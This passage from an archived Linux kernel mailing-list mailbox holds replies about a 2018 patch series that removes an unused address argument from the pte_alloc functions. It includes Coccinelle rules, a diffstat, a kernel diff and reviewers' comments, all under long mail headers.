> > "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
> > type T2;
> > @@
> > 
> >   fn(...
> > - , T2 E2
> >   )
> >   { ... }
> > 
> > @pte_alloc_func_proto depends on patch exists@
> > identifier E1, E2, E4;
> > type T1, T2, T3, T4;
> > identifier fn =~
> > "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
> > @@
> > 
> > (
> > - T3 fn(T1 E1, T2 E2);
> > + T3 fn(T1 E1);
> > |
> > - T3 fn(T1 E1, T2 E2, T4 E4);
> > + T3 fn(T1 E1, T2 E2);
> > )
> > 
> > @pte_alloc_func_call depends on patch exists@
> > expression E2;
> > identifier fn =~
> > "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
> > @@
> > 
> >   fn(...
> > -,  E2
> >   )
> > 
> > @pte_alloc_macro depends on patch exists@
> > identifier fn =~
> > "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
> > identifier a, b, c;
> > expression e;
> > position p;
> > @@
> > 
> > (
> > - #define fn(a, b, c)@p e
> > + #define fn(a, b) e
> > |
> > - #define fn(a, b)@p e
> > + #define fn(a) e
> > )
> > 
> > Suggested-by: Kirill A. Shutemov <kirill@shutemov.name>
> > Cc: Michal Hocko <mhocko@kernel.org>
> > Cc: Julia Lawall <Julia.Lawall@lip6.fr>
> > Cc: elfring@users.sourceforge.net
> > Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
> > ---
> >   arch/alpha/include/asm/pgalloc.h             |  6 +++---
> >   arch/arc/include/asm/pgalloc.h               |  5 ++---
> >   arch/arm/include/asm/pgalloc.h               |  4 ++--
> >   arch/arm64/include/asm/pgalloc.h             |  4 ++--
> >   arch/hexagon/include/asm/pgalloc.h           |  6 ++----
> >   arch/ia64/include/asm/pgalloc.h              |  5 ++---
> >   arch/m68k/include/asm/mcf_pgalloc.h          |  8 ++------
> >   arch/m68k/include/asm/motorola_pgalloc.h     |  4 ++--
> >   arch/m68k/include/asm/sun3_pgalloc.h         |  6 ++----
> >   arch/microblaze/include/asm/pgalloc.h        | 19 ++-----------------
> >   arch/microblaze/mm/pgtable.c                 |  3 +--
> >   arch/mips/include/asm/pgalloc.h              |  6 ++----
> >   arch/nds32/include/asm/pgalloc.h             |  5 ++---
> >   arch/nios2/include/asm/pgalloc.h             |  6 ++----
> >   arch/openrisc/include/asm/pgalloc.h          |  5 ++---
> >   arch/openrisc/mm/ioremap.c                   |  3 +--
> >   arch/parisc/include/asm/pgalloc.h            |  4 ++--
> >   arch/powerpc/include/asm/book3s/32/pgalloc.h |  4 ++--
> >   arch/powerpc/include/asm/book3s/64/pgalloc.h | 12 +++++-------
> >   arch/powerpc/include/asm/nohash/32/pgalloc.h |  4 ++--
> >   arch/powerpc/include/asm/nohash/64/pgalloc.h |  6 ++----
> >   arch/powerpc/mm/pgtable-book3s64.c           |  2 +-
> >   arch/powerpc/mm/pgtable_32.c                 |  4 ++--
> >   arch/riscv/include/asm/pgalloc.h             |  6 ++----
> >   arch/s390/include/asm/pgalloc.h              |  4 ++--
> >   arch/sh/include/asm/pgalloc.h                |  6 ++----
> >   arch/sparc/include/asm/pgalloc_32.h          |  5 ++---
> >   arch/sparc/include/asm/pgalloc_64.h          |  6 ++----
> >   arch/sparc/mm/init_64.c                      |  6 ++----
> >   arch/sparc/mm/srmmu.c                        |  4 ++--
> >   arch/um/kernel/mem.c                         |  4 ++--
> 
> There is a declaration of pte_alloc_one in arch/um/include/asm/pgalloc.h
> 
> This patch missed it.

Ah, true. Thanks. Couldn't test every arch obviously. The reason this was
missed is the script could not find matches with prototypes without named
parameters:

extern pgtable_t pte_alloc_one(struct mm_struct *, unsigned long);

I wrote something like this as below but it failed to compile, Julia any
suggestions on how to express this?

@pte_alloc_func_proto depends on patch exists@
type T1, T2, T3, T4;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
@@

(
- T3 fn(T1, T2);
+ T3 fn(T1);
|
- T3 fn(T1, T2, T4);
+ T3 fn(T1, T2);
)

thanks,

 - Joel

From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 1/2] treewide: remove unused address argument from
 pte_alloc functions
Date: Fri, 12 Oct 2018 09:37:25 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20181012163725.GB223066@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012110906.fpfttp4nhvsr2ps7@kshutemo-mobl1>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539362145 16900 195.159.176.226 (12 Oct 2018 16:35:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 16:35:45 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 18:35:35 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gB0PW-00049o-OY
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 18:35:34 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=LIk605eZ0ePtZZKiMVOEonU2pWxM3BXbYUzTxGNIQ1k=; b=HQR0AEijHqi/aR
	G4vKqnqVxa8J9/xTi7EAmbhgjtpk0jyABCPoyY8CyGGSAHx4qy78IVJkSd+Z94tdHLJamrd+YXy+4
	mrXm75hfa9B+bYjXGBGlo7+NyZnXkOdh8ArA2uSfCSaQwl6NxUYetZrV8W9bi4GTc/YhPtAExEYvJ
	xSG4Q29AHplkVZ7aMyeEWYWqH9Xwkrxs6ZSx5/FvkP/k7CNsatcPpI1mi9HSypEjtFKEH2nuG24EE
	eL7S2rpvyS4gge0XPf4T/drWbkaYQAAIUT8NEloaictlDEloM/Jx9Mth702qZhia0UaUsCUPfg3OJ
	Iwdt+ExeS67NESHdhgyw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB0Rb-0007PY-2X; Fri, 12 Oct 2018 16:37:43 +0000
Original-Received: from mail-pl1-x643.google.com ([2607:f8b0:4864:20::643])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB0RW-0007N5-Qh
 for linux-snps-arc@lists.infradead.org; Fri, 12 Oct 2018 16:37:40 +0000
Original-Received: by mail-pl1-x643.google.com with SMTP id v5-v6so6168963plz.13
 for <linux-snps-arc@lists.infradead.org>; Fri, 12 Oct 2018 09:37:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=VgdWRAThwj2EMLbo8sWAHSsutcajwriCEy/dGs8kimQ=;
 b=Yx6iiDOE4GgwJ3wrxDhjF1xivdsbBDEqc8xx5jdpyDJvE+qpLgMgy/KhjSsAuHRJyU
 rjgnlYO7tlrGv1G+TaKr5XDehCpd8eZLTAEwubNcKxLRAX6QLsDFm2lImHS78o7KxLhe
 EhZiy+H+FVvSEtNaG63pU9KzeTWvu1FrWLelY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=VgdWRAThwj2EMLbo8sWAHSsutcajwriCEy/dGs8kimQ=;
 b=nf0zZasK+HZ63szQDrULJNkPAUVHj10QmEX9JC3LVEcdz1ptaXx1Astds/nNYrmRcS
 Wf7pk7MWFXdZXXkEGHJugcXK/eGWp+i+Dq/dyUAKtPXv+QPmukn5teqzs1h6DMTqZue/
 kAYTnDmr4TmnY36ZTc+a89FO6DLLs1/oIaHXfZUg6c9WKl541Z7vXL+dSTdhC5ybPCcX
 dsRbPA7vTLaoOdn1OOa2X9qjdWdkqGhzuoce6Ae5gzIUQ3kUUwgcoYXR7hdnZ9mYrwHL
 d5nLPoAzTg0ju5R8XHB2FEoZ4du3JmDMsMBni3LnFQIXQD7A1haEzipEcCyEa7R3zCMQ
 TSMA==
X-Gm-Message-State: ABuFfoiG3g8Kf6UdaKJgBeExfsQPR7Kmzno7hd4JxX7tQ12Hy+FpIcou
 Nu8Iq4WwomJhmd+Qu6Kinec9BA==
X-Google-Smtp-Source: ACcGV62jUKQ08v22v3vIhXoVq3Rc/sYsS1RW7mhnmQmf8WDFV0RfxpB6QhVx3k79ViRK/oHHNtygsQ==
X-Received: by 2002:a17:902:8205:: with SMTP id
 x5-v6mr6704330pln.55.1539362247706; 
 Fri, 12 Oct 2018 09:37:27 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id k77-v6sm5032857pfg.1.2018.10.12.09.37.25
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Fri, 12 Oct 2018 09:37:26 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181012110906.fpfttp4nhvsr2ps7@kshutemo-mobl1>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_093738_907495_7D40B494 
X-CRM114-Status: GOOD (  13.50  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:643 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4527 gmane.linux.ports.mips.general:67042 gmane.linux.ports.ia64:29378 gmane.linux.ports.sh.devel:57626 gmane.linux.kernel.mm:205149 gmane.linux.ports.sparc:28548 gmane.linux.ports.riscv:1046 gmane.linux.ports.hexagon:1901 gmane.comp.emulators.kvm.arm.devel:19422 gmane.linux.ports.arm.kernel:679351 gmane.linux.ports.parisc:29153 gmane.linux.kernel:2897805 gmane.linux.ports.alpha:5303 gmane.linux.ports.ppc64.devel:164149
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4527>

On Fri, Oct 12, 2018 at 02:09:06PM +0300, Kirill A. Shutemov wrote:
> On Thu, Oct 11, 2018 at 06:37:55PM -0700, Joel Fernandes (Google) wrote:
> > diff --git a/arch/m68k/include/asm/mcf_pgalloc.h b/arch/m68k/include/asm/mcf_pgalloc.h
> > index 12fe700632f4..4399d712f6db 100644
> > --- a/arch/m68k/include/asm/mcf_pgalloc.h
> > +++ b/arch/m68k/include/asm/mcf_pgalloc.h
> > @@ -12,8 +12,7 @@ extern inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
> >  
> >  extern const char bad_pmd_string[];
> >  
> > -extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> > -	unsigned long address)
> > +extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
> >  {
> >  	unsigned long page = __get_free_page(GFP_DMA);
> >  
> > @@ -32,8 +31,6 @@ extern inline pmd_t *pmd_alloc_kernel(pgd_t *pgd, unsigned long address)
> >  #define pmd_alloc_one_fast(mm, address) ({ BUG(); ((pmd_t *)1); })
> >  #define pmd_alloc_one(mm, address)      ({ BUG(); ((pmd_t *)2); })
> >  
> > -#define pte_alloc_one_fast(mm, addr) pte_alloc_one(mm, addr)
> > -
> 
> I believe this was one done manually, right?
> Please explicitely state everthing you did on not of sematic patch

Ok, I can update the changelog with that information next time I send it.
This is the only thing I didn't mention in the changelog since it was a
trivial unused function deletion.. but I mentioned everything else..

And sir, you are one thorough reviewer! ;-)

 - Joel

[..]

From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Julia Lawall <julia.lawall@lip6.fr>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 1/2] treewide: remove unused address argument from
 pte_alloc functions
Date: Fri, 12 Oct 2018 18:38:57 +0200 (CEST)
Lines: 20
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1810121838180.4366@hadrien>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <594fc952-5e87-3162-b2f9-963479d16eb3@kot-begemot.co.uk>
 <20181012163433.GA223066@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539362257 25105 195.159.176.226 (12 Oct 2018 16:37:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 16:37:37 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
 Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, Anton Ivanov <anton.ivanov@kot-b
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 18:37:28 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gB0RL-0006L1-Ml
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 18:37:27 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:Message-ID:
	In-Reply-To:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=aq3+I5MwjwDsgqU9K4A2XpXNDW6/e5NLoaU8cWlQHbg=; b=S2JaqqInlIUxZ9
	p8jib87wtRFc2y4xuN5fcUYk8cWrnBrEzpn1WYrqI1FG9m35HrVpFvXe1wRIu2af+H5jvO+J86j/b
	WE9o+oVL0+X54oClEEsbQV2LsoR8h8gxydRxs0ZT7YzJSzuTJjIXEesJPIMGNy0AyUjH8/1JBXV6C
	4uAFilEp9ivs6zLpzLr2xjYdFoki5exyO5fpPKaOjtcOScck8O2fIM4pvFvq7pkib+aVRuSNUOTxm
	XtT2J8iHwTtjKj4Bp8w+bgbFhwV0PB6mEKODFpbhNX0wU9x/l0odHQn91eIyllu/Z04hke9Ss19Lk
	8p7sOo67sD7Ft7WW6k0w==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB0TP-0007pv-P9; Fri, 12 Oct 2018 16:39:35 +0000
Original-Received: from mail3-relais-sop.national.inria.fr ([192.134.164.104])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB0TB-0007mv-I3; Fri, 12 Oct 2018 16:39:32 +0000
X-IronPort-AV: E=Sophos;i="5.54,373,1534802400"; d="scan'208";a="281932428"
Original-Received: from vaio-julia.rsr.lip6.fr ([132.227.76.33])
 by mail3-relais-sop.national.inria.fr with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 12 Oct 2018 18:39:00 +0200
X-X-Sender: jll@hadrien
In-Reply-To: <20181012163433.GA223066@joelaf.mtv.corp.google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_093921_942952_D02E76F4 
X-CRM114-Status: UNSURE (   9.71  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -4.3 (----)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-4.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -5.0 RCVD_IN_DNSWL_HI       RBL: Sender listed at http://www.dnswl.org/, high
 trust [192.134.164.104 listed in list.dnswl.org]
 0.7 SPF_NEUTRAL            SPF: sender does not match SPF record (neutral)
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4528 gmane.linux.ports.mips.general:67043 gmane.linux.ports.m68k:10237 gmane.linux.ports.ia64:29379 gmane.linux.ports.sh.devel:57627 gmane.linux.kernel.mm:205151 gmane.linux.ports.sparc:28549 gmane.linux.ports.riscv:1047 gmane.linux.ports.hexagon:1902 gmane.comp.emulators.kvm.arm.devel:19424 gmane.linux.ports.alpha:5304 gmane.linux.ports.arm.kernel:679353 gmane.linux.ports.parisc:29154 gmane.linux.kernel:2897806 gmane.linux.ports.ppc64.devel:164150
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4528>

> I wrote something like this as below but it failed to compile, Julia any
> suggestions on how to express this?
>
> @pte_alloc_func_proto depends on patch exists@
> type T1, T2, T3, T4;
> identifier fn =~
> "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
> @@
>
> (
> - T3 fn(T1, T2);
> + T3 fn(T1);
> |
> - T3 fn(T1, T2, T4);
> + T3 fn(T1, T2);
> )

What goes wrong?  It seems fine to me.

julia

From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 17:42:24 +0100
Lines: 224
Approved: news@gmane.org
Message-ID: <97cb3fe1-7bc1-12ff-d602-56c72a5496c5@kot-begemot.co.uk>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <9ed82f9e-88c4-8e4f-8c45-3ef153469603@kot-begemot.co.uk>
 <20181012143728.t42uvr6etg7gp7fh@kshutemo-mobl1>
 <4dd52e22-5b51-9b30-7178-fde603a08f88@kot-begemot.co.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------A6D223F721C42CB9BAB1286E"
X-Trace: blaine.gmane.org 1539362498 9247 195.159.176.226 (12 Oct 2018 16:41:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 16:41:38 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.0
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 18:41:28 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gB0VE-0002Er-2v
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 18:41:28 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Content-Type:
	In-Reply-To:MIME-Version:Date:Message-ID:References:To:From:Subject:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=EE7O+W1eSlrjtMOypySgntbOrupk8zCZg+5t2ZLS7Mw=; b=Ob1BiErQ80eDQWniZn2ktwz0f
	4xkr3uR7Cr183qZqG8ilA/G62R3fR1ue64yuOmor2Nu+zXtrs+1+48p+O2E5EUabOUJANVyT6eG7a
	07oryYf6n1lQ5bT/DQkKRX/deDx1bFnjFSXJk1VV4td3U/cZt3hrgRXd1lJn8PQFfPJk2E4ajwAWT
	H64mOLVxNdsjCjwE3Owi9krRllKIL+62zrXClH06XuBx51ZsZ4QNuMG7Ouw16qkl7GRM8fyiUatdA
	pLnmBGPMdf6/83e7mbMWVfdDM8bNpuQGDEsViJYLt9IKllW7BPoi28hHf6T8RYFMEKMFmbMvyN5uq
	/U8R+F58A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB0XJ-0000yT-1B; Fri, 12 Oct 2018 16:43:37 +0000
Original-Received: from ivanoab6.miniserver.com ([5.153.251.140]
 helo=www.kot-begemot.co.uk)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB0XD-0000wn-H3; Fri, 12 Oct 2018 16:43:33 +0000
Original-Received: from [192.168.17.6] (helo=smaug.kot-begemot.co.uk)
 by www.kot-begemot.co.uk with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.89) (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gB0WA-0003TQ-3x; Fri, 12 Oct 2018 16:42:26 +0000
Original-Received: from amistad.kot-begemot.co.uk ([192.168.3.89])
 by smaug.kot-begemot.co.uk with esmtpsa
 (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.89)
